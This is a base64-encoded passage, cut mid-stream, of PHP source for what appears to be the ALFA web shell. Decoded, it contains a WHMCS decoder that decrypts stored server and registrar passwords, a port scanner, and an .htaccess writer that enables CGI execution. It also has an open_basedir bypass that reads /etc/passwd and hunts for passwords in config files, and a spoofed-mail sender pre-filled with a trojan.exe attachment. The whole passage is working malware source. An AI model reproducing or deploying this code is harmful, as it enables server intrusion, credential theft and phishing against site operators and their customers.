5OGdlL1FZSDByQVR4VGkyckNKS2RtWDR2M1pnSnVUNzkrdnhsdWh5eVZkZnFYZ29UQnIvMzJSVStvVkFDdTBpak9KYlFzQ0dXdVZTSlBEOEQwM2dteDBCWWtPSDk5QU1PdG9BcEVMN3V3Wms1blVqMURYOFdaYm5YN1FPZlEvSEJVbXh6YTR5OHhEU2JnYnUzOG1HZitQMkFPU2Qwd09MMmNKcTdCMW1nNDRzK3dQSjRUZlZST2NuSFZYTVBpWXdCbUVqdDArSDlBUHpjUEpMYlo3MGJwSU5iem5DWE85QnZja2h6RWZPZTVOUHRTenFWbWEzZGJtdzdlVmpGRk1jZGg5YWFIYTZvUnJsWVQ1Ylg2NGZ2Zmp3am5JdGNPYjhkMFFNWUM3ZHhEZWJtdkZmZGY1ZDdZdGlmMzAzRSs0T2gyOGxuK3hpTDVBeEQ2WDRGTnV0Mmp0TW03a2RpNmMvTEI5NGlxS3o4amd2MTFOVlpvPSIpKSxcJzxzdHJpbmc+XCcsXCdleGVjXCcpKSc7DQppZigkX1BPU1RbJ2FsZmExJ109PSdwZXJsJyl7JGNvZGUgPSAkcGVybDt9ZWxzZXskY29kZSA9ICRweTt9DQppZihfX3dyaXRlX2ZpbGUoJG5hbWUsJGNvZGUpKXsNCkBjaG1vZCgkbmFtZSwwNzU1KTsNCmVjaG8gJzxpZnJhbWUgc3JjPSInLidjZ2lhbGZhLycuJG5hbWUuJyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iNjAwcHgiIGZyYW1lYm9yZGVyPSIwIiBzdHlsZT0ib3BhY2l0eTowLjk7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTkpO292ZXJmbG93OmF1dG87Ij48L2lmcmFtZT4nOw0KfQ0KfQ0KZWNobyAkZGl2Ow0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYVdobWNzKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCmZ1bmN0aW9uIGRlY3J5cHQoJHN0cmluZywkY2NfZW5jcnlwdGlvbl9oYXNoKXsNCiRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCiRoYXNoX2tleSA9IF9oYXNoKCRrZXkpOw0KJGhhc2hfbGVuZ3RoID0gc3RybGVuICgkaGFzaF9rZXkpOw0KJHN0cmluZyA9IF9fWkdWamIyUmxjZygkc3RyaW5nKTsNCiR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7DQokc3RyaW5nID0gc3Vic3RyICgkc3RyaW5nLCAkaGFzaF9sZW5ndGgsIHN0cmxlbiAoJHN0cmluZykgLSAkaGFzaF9sZW5ndGgpOw0KJGl2ID0gJG91dCA9ICcnOw0KJGMgPSAwOw0Kd2hpbGUgKCRjIDwgJGhhc2hfbGVuZ3RoKQ0Kew0KJGl2IC49IGNociAob3JkICgkdG1wX2l2WyRjXSkgXiBvcmQgKCRoYXNoX2tleVskY10pKTsNCisrJGM7DQp9DQoka2V5ID0gJGl2Ow0KJGMgPSAwOw0Kd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkNCnsNCmlmICgoJGMgIT0gMCBBTkQgJGMgJSAkaGFzaF9sZW5ndGggPT0gMCkpDQp7DQoka2V5ID0gX2hhc2ggKCRrZXkgLiBzdWJzdHIgKCRvdXQsICRjIC0gJGhhc2hfbGVuZ3RoLCAkaGFzaF9sZW5ndGgpKTsNCn0NCiRvdXQgLj0gY2hyIChvcmQgKCRrZXlbJGMgJSAkaGFzaF9sZW5ndGhdKSBeIG9yZCAoJHN0cmluZ1skY10pKTsNCisrJGM7DQp9DQpyZXR1cm4gJG91dDsNCn0NCmZ1bmN0aW9uIF9oYXNoKCRzdHJpbmcpDQp7DQppZihmdW5jdGlvbl9leGlzdHMoJ3NoYTEnKSkNCnsNCiRoYXNoID0gc2hhMSAoJHN0cmluZyk7DQp9DQplbHNlDQp7DQokaGFzaCA9IG1kNSAoJHN0cmluZyk7DQp9DQokb3V0ID0gJyc7DQokYyA9IDA7DQp3aGlsZSAoJGMgPCBzdHJsZW4gKCRoYXNoKSkNCnsNCiRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsNCiRjICs9IDI7DQp9DQpyZXR1cm4gJG91dDsNCn0NCkFsZmFOdW0oOCw5LDEwKTsNCmVjaG8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFdITUNTIERlQ29kZXIgfDwvZGl2PjxwPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPC9wPjxmb3JtIG9uc3VibWl0PVwiZygnV2htY3MnLG51bGwsdGhpcy5mb3JtX2FjdGlvbi52YWx1ZSwnZGVjb2RlcicsdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmNjX2VuY3J5cHRpb25faGFzaC52YWx1ZSx0aGlzLmRiX2hvc3QudmFsdWUpOyByZXR1cm4gZmFsc2U7XCI+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdmb3JtX2FjdGlvbicgdmFsdWU9JzInPiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDUnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2NjX2VuY3J5cHRpb25faGFzaCA6ICcsICdpbnB1dE5hbWUnID0+ICdjY19lbmNyeXB0aW9uX2hhc2gnLCAnaWQnID0+ICdjY19lbmNyeXB0aW9uX2hhc2gnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICI8cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcgbmFtZT0nU3VibWl0Jz48L3A+PC9mb3JtPjwvY2VudGVyPiI7DQppZigkX1BPU1RbJ2FsZmE1J10hPScnKXsNCiRkYl9ob3N0PSgkX1BPU1RbJ2FsZmE3J10pOw0KJGRiX3VzZXJuYW1lPSgkX1BPU1RbJ2FsZmEzJ10pOw0KJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2FsZmE0J10pOw0KJGRiX25hbWU9KCRfUE9TVFsnYWxmYTUnXSk7DQokY2NfZW5jcnlwdGlvbl9oYXNoPSgkX1BPU1RbJ2FsZmE2J10pOw0KZWNobyBfX3ByZSgpOw0KJGNvbm49QG15c3FsaV9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQsJGRiX25hbWUpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRxdWVyeSA9IG15c3FsaV9xdWVyeSgkY29ubiwiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7DQokbnVtID0gbXlzcWxpX251bV9yb3dzKCRxdWVyeSk7DQppZiAoJG51bSA+IDApew0KZm9yKCRpPTA7ICRpIDw9JG51bS0xOyAkaSsrKXsNCiR2ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcXVlcnkpOw0KJGlwYWRkcmVzcyA9ICR2WydpcGFkZHJlc3MnXTsNCiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOw0KJHR5cGUgPSAkdlsndHlwZSddOw0KJGFjdGl2ZSA9ICR2WydhY3RpdmUnXTsNCiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOw0KZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VHlwZTwvZm9udD48L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj48L2I+Iik7DQplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPkFjdGl2ZTwvZm9udD48L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+SG9zdG5hbWU8L2ZvbnQ+PC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPjwvYj4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+SXA8L2ZvbnQ+PC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj48L2I+Iik7DQplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXJuYW1lPC9mb250PjwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj48L2I+Iik7DQplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBhc3N3b3JkPC9mb250PjwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj48L2I+Iik7DQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCn0NCiRxdWVyeTEgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsNCiRudW0xID0gQG15c3FsaV9udW1fcm93cygkcXVlcnkxKTsNCmlmICgkbnVtMSA+IDApew0KZm9yKCRpPTA7ICRpIDw9JG51bTEgLTE7ICRpKyspew0KJHYgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHF1ZXJ5MSk7DQokcmVnaXN0cmFyID0gJHZbJ3JlZ2lzdHJhciddOw0KJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOw0KJHZhbHVlID0gZGVjcnlwdCgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQppZiAoJHZhbHVlPT0iIil7DQokdmFsdWU9MDsNCn0NCmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48Y2VudGVyPiIpOw0KZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsNCmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+UmVnaXN0ZXI8L2ZvbnQ+PC90ZD48dGQ+JHJlZ2lzdHJhcjwvdGQ+PC90cj48L2I+Iik7DQplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiIzY3QUJERlwiPlNldHRpbmc8L2ZvbnQ+PC90ZD48dGQ+JHNldHRpbmc8L3RkPjwvdHI+PC9iPiIpOw0KZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiM2N0FCREZcIj5WYWx1ZTwvZm9udD48L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+PC9iPiIpOw0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQp9DQp9DQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj50YmxzZXJ2ZXJzIGlzIEVtcHR5Li4uITwvZm9udD4nKTt9Ow0KfQ0KZWNobyAiPC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFwb3J0c2Nhbm5lcigpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgUG9ydCBTY2FuZXIgfDwvZGl2PjwvcD4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwncG9ydHNjYW5uZXJcJyxudWxsLG51bGwsdGhpcy5zdGFydC52YWx1ZSx0aGlzLmVuZC52YWx1ZSx0aGlzLmhvc3QudmFsdWUpOyByZXR1cm4gZmFsc2U7Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InkiIHZhbHVlPSJwaHB0b29scyI+DQo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5Ib3N0OiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+DQo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5Qb3J0IHN0YXJ0OiA8L2Rpdj4gPGlucHV0IGlkPSJ0ZXh0IiBzaXplPSI1IiB0eXBlPSJ0ZXh0IiAgbmFtZT0ic3RhcnQiIHZhbHVlPSI4MCIvPg0KPGRpdiBjbGFzcz0idHh0Zm9udCI+UG9ydCBlbmQ6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHNpemU9IjUiIHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjgwIi8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiAvPg0KPC9mb3JtPjwvY2VudGVyPjxicj4nOw0KJHN0YXJ0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmEyJ10pOw0KJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydhbGZhMyddKTsNCiRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2FsZmE0J10pOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnYWxmYTMnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2FsZmEyJ10pKXsNCmVjaG8gX19wcmUoKTsNCiRwYWNrZXRDb250ZW50ID0gIkdFVCAvIEhUVFAvMS4xXHJcblxyXG4iOw0KaWYoY3R5cGVfeGRpZ2l0KCRwYWNrZXRDb250ZW50KSkkcGFja2V0Q29udGVudCA9IEBwYWNrKCJIKiIgLCAkcGFja2V0Q29udGVudCk7DQplbHNlew0KJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCAiIiwgJHBhY2tldENvbnRlbnQpOw0KJHBhY2tldENvbnRlbnQgPSBzdHJfcmVwbGFjZShhcnJheSgiXFxyIiwiXFxuIiksIGFycmF5KCJcciIsICJcbiIpLCAkcGFja2V0Q29udGVudCk7DQp9DQpmb3IoJGkgPSAkc3RhcnQ7ICRpPD0kZW5kOyAkaSsrKXsNCiRzb2NrID0gQGZzb2Nrb3BlbigkaG9zdCwgJGksICRlcnJubywgJGVycnN0ciwgMyk7DQppZigkc29jayl7DQpzdHJlYW1fc2V0X3RpbWVvdXQoJHNvY2ssIDUpOw0KZndyaXRlKCRzb2NrLCAkcGFja2V0Q29udGVudC4iXHJcblxyXG5ceDAwIik7DQokY291bnRlciA9IDA7DQokbWF4dHJ5ID0gMTsNCiRiaW4gPSAiIjsNCmRvew0KJGxpbmUgPSBmZ2V0cygkc29jaywgMTAyNCk7DQppZih0cmltKCRsaW5lKT09IiIpJGNvdW50ZXIrKzsNCiRiaW4gLj0gJGxpbmU7DQp9d2hpbGUoJGNvdW50ZXI8JG1heHRyeSk7DQpmY2xvc2UoJHNvY2spOw0KZWNobyAiPGNlbnRlcj48cD5Qb3J0IDxmb250IHN0eWxlPSdjb2xvcjojREUzRTNFJz4kaTwvZm9udD4gaXMgb3BlbjwvcD4iOw0KZWNobyAiPHA+PHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6MTQwcHg7d2lkdGg6NTAlOyc+Ii4kYmluLiI8L3RleHRhcmVhPjwvcD48L2NlbnRlcj4iOw0KfQ0KZmx1c2goKTsNCn0NCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhY2dpaHRhY2Nlc3MoJG0sJGQ9JycsICRzeW1uYW1lPWZhbHNlKXsNCiRyZWFkbWUgPSAiIjsNCmlmKCRzeW1uYW1lKXskcmVhZG1lPSJcblJlYWRtZU5hbWUgIi50cmltKCRzeW1uYW1lKTt9DQppZigkbT09J2NnaScpew0KJGNvZGUgPSAiI0NvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlXG5PcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJXG5BZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5hbGZhXG5BZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmFsZmEiOw0KfWVsc2VpZigkbT09J3N5bScpew0KJGNvZGUgPSAiI0NvZGVkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlXG5PcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHNvbGV2aXNpYmxlLnBodG1cbkFkZFR5cGUgdGV4dC9wbGFpbiBwaHAgaHRtbCBwaHA0IHBodG1sXG5BZGRIYW5kbGVyIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNCBwaHRtbHskcmVhZG1lfVxuT3B0aW9ucyBhbGwiOw0KfWVsc2VpZigkbT09J3NodG1sJyl7DQokY29kZSA9ICJPcHRpb25zICtJbmNsdWRlc1xuQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sXG5BZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnNodG1sIjsNCn0NCkBfX3dyaXRlX2ZpbGUoJGQuJy5odGFjY2VzcycsJGNvZGUpOw0KfQ0KZnVuY3Rpb24gYWxmYWJhc2VkaXIoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4NCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgT3BlbiBCYXNlIERpciB8PC9kaXY+PC9wPjwvY2VudGVyPic7DQokcGFzc3dkID0gX2FsZmFfZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCmlmKGlzX2FycmF5KCRwYXNzd2QpKXsNCiR1c2VycyA9IGFycmF5KCk7DQokbWFrZXB3ZCA9IGFsZmFNYWtlUHdkKCk7DQokYmFzZWRpciA9IEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsNCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLGZhbHNlKSYmKCRiYXNlZGlyfHwkc2FmZV9tb2RlKSl7DQokYmFzaCA9ICJmWkJQU3dNeEVNWFB6YWNZeDlqdWdrdlk5bGJwVFE5ZUZVOU5XZFlrMndZa1daS3NnbXUrdTlOYVM4RS9jd2dETC9OK00rL3lRanhiSitLTzNkNC9ySGpOdXNHcFpMMkRtRUlUVFAvU0tsT1VJd09xTlZUdmdMeEcyTUIwQ3NHa0lUaW96N1g1UDlyaU42MGh6aEhUdkxZbjVJb1hmYkF1ZFlCWFVVcUhYOXdQaUVaRFpRQ2o0T004MDdQSVlvdmx3ZXZIeFBpSGUwYVdtVkU3ZjdCYVM0V3M4d0VzV0FlOFVFT0NTaStoNm1vUUppblJ0ekcrNmZJR3RHZVRwOGM3Q3FvNGk0ZEFGQjd4eGlHYWtQZGdTeHRONk94QS9YN2dlUGszVXRJUGlkZE1lMmRPZTh3UU43TlAiOw0KYWxmYVdyaXRlVG9jZ2lhcGkoImJhc2VkaXIuYWxmYSIsJGJhc2gpOw0KJGJhc2hfdXNlcnMgID0gYWxmYUV4KCJjZCBhbGZhY2dpYXBpO3NoIGJhc2VkaXIuYWxmYSAiLiRtYWtlcHdkLGZhbHNlLHRydWUsdHJ1ZSk7DQokdXNlcnMgPSBqc29uX2RlY29kZSgkYmFzaF91c2VycywgdHJ1ZSk7DQokeD1jb3VudCgkdXNlcnMpOw0KaWYoJHg+PTIpe2FycmF5X3BvcCgkdXNlcnMpOy0tJHg7fQ0KfQ0KaWYoISRiYXNlZGlyJiYhJHNhZmVfbW9kZSl7DQokeD0wOw0KZm9yZWFjaCgkcGFzc3dkIGFzICRzdHIpew0KJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7DQokdXNlcm5hbWUgPSBzdWJzdHIoJHN0ciwwLCRwb3MpOw0KJGRpcnogPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXJuYW1lLCAkbWFrZXB3ZCk7DQppZigoJHVzZXJuYW1lICE9ICcnKSl7DQppZiAoQGlzX3JlYWRhYmxlKCRkaXJ6KSl7DQphcnJheV9wdXNoKCR1c2VycywkdXNlcm5hbWUpOw0KJHgrKzsNCn19fQ0KfQ0KZWNobyAnPGJyPjxicj4nOw0KZWNobyAiPGI+PGZvbnQgY29sb3I9XCIjMDBBMjIwXCI+WytdIEZvdW5kZWQgIi5zaXplb2YoJHBhc3N3ZCkuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiIuIjxiciAvPjwvZm9udD48L2I+IjsNCmVjaG8gIjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBGb3VuZGVkICIuJHguIiByZWFkYWJsZSAiLnN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAiKiIsICRtYWtlcHdkKS4iIGRpcmVjdG9yaWVzXG4iLiI8YnIgLz48L2ZvbnQ+PC9iPiI7DQplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5bfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnIGZpbGVzLi4uXG5cbiIuIjxiciAvPjxiciAvPjxiciAvPjwvZm9udD48L2I+IjsNCmZvcmVhY2goJHVzZXJzIGFzICR1c2VyKXsNCmlmKGVtcHR5KCR1c2VyKSljb250aW51ZTsNCiRwYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7DQplY2hvICI8Zm9ybSBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0nZyhcIkZpbGVzTWFuXCIsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+Q2hhbmdlIERpciA8Zm9udCBjb2xvcj0jRkZGRjAxPi4uOjogPC9mb250Pjxmb250IGNvbG9yPXJlZD48Yj4kdXNlcjwvYj48L2ZvbnQ+PGZvbnQgY29sb3I9I0ZGRkYwMT4gOjouLjwvZm9udD48L2ZvbnQ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJHBhdGgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnI+IjsNCn0NCn1lbHNle2VjaG8oJzxiPiA8Y2VudGVyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2QgWy1dPC9mb250PjwvY2VudGVyPjwvYj4nKTt9DQplY2hvICc8YnI+PGJyPjwvYj4nOw0KZWNobyAnPC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFtYWlsKCl7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCkFsZmFOdW0oOCw5LDEwKTsNCmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmFrZSBNYWlsIHw8L2Rpdj48L3A+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsXCc+PlwnLHRoaXMubWFpbF9jb250ZW50LnZhbHVlLHRoaXMuY291bnRfbWFpbC52YWx1ZSx0aGlzLm1haWxfYXR0YWNoLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsNCiR0YWJsZSA9IGFycmF5KA0KJ3RkMScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ01haWwgVG8gOiAnLCAnaW5wdXROYW1lJyA9PiAnbWFpbF90bycsICdpbnB1dFZhbHVlJyA9PiAndGFyZ2V0QGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNjAnLCdwbGFjZWhvbGRlcicgPT4gdHJ1ZSksDQondGQyJyA9PiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRnJvbSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2Zyb20nLCAnaW5wdXRWYWx1ZScgPT4gJ3NlY0Bnb29nbGUuY29tJywgJ2lucHV0U2l6ZScgPT4gJzYwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwNCid0ZDMnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdTdWJqZWN0IDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfc3ViamVjdCcsICdpbnB1dFZhbHVlJyA9PiAneW91ciBzaXRlIGhhY2tlZCBieSBtZScsICdpbnB1dFNpemUnID0+ICc2MCcpLA0KJ3RkNCcgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0F0dGFjaCBGaWxlIDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfYXR0YWNoJywgJ2lucHV0VmFsdWUnID0+ICRHTE9CQUxTWydjd2QnXS4ndHJvamFuLmV4ZScsICdpbnB1dFNpemUnID0+ICc2MCcpLA0KJ3RkNScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0NvdW50IE1haWwgOiAnLCAnaW5wdXROYW1lJyA9PiAnY291bnRfbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnMScsICdpbnB1dFNpemUnID0+ICc2MCcpDQopOw0KY3JlYXRlX3RhYmxlKCR0YWJsZSk7DQplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXNzYWdlOjwvZGl2PjwvcD48dGV4dGFyZWEgcm93cz0iNiIgY29scz0iNjAiIG5hbWU9Im1haWxfY29udGVudCI+SGkgRGVhciBBZG1pbiA6KTwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9Im1haWxfc2VuZCIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7DQppZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pJiYoJF9QT1NUWydhbGZhNCddID09ICc+PicpKXsNCiRtYWlsX3RvID0gJF9QT1NUWydhbGZhMSddOw0KJG1haWxfZnJvbSA9ICRfUE9TVFsnYWxmYTInXTsNCiRtYWlsX3N1YmplY3QgPSAkX1BPU1RbJ2FsZmEzJ107DQokbWFpbF9jb250ZW50ID0gJF9QT1NUWydhbGZhNSddOw0KJGNvdW50X21haWwgPSAoaW50KSRfUE9TVFsnYWxmYTYnXTsNCiRtYWlsX2F0dGFjaCA9ICRfUE9TVFsnYWxmYTcnXTsNCmlmKGZpbHRlcl92YXIoJG1haWxfdG8sIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpew0KaWYoIWVtcHR5KCRtYWlsX2F0dGFjaCkmJkBpc19maWxlKCRtYWlsX2F0dGFjaCkpew0KJGZpbGUgPSAkbWFpbF9hdHRhY2g7DQokY29udGVudCA9IF9fcmVhZF9maWxlKCRmaWxlKTsNCiRjb250ZW50ID0gY2h1bmtfc3BsaXQ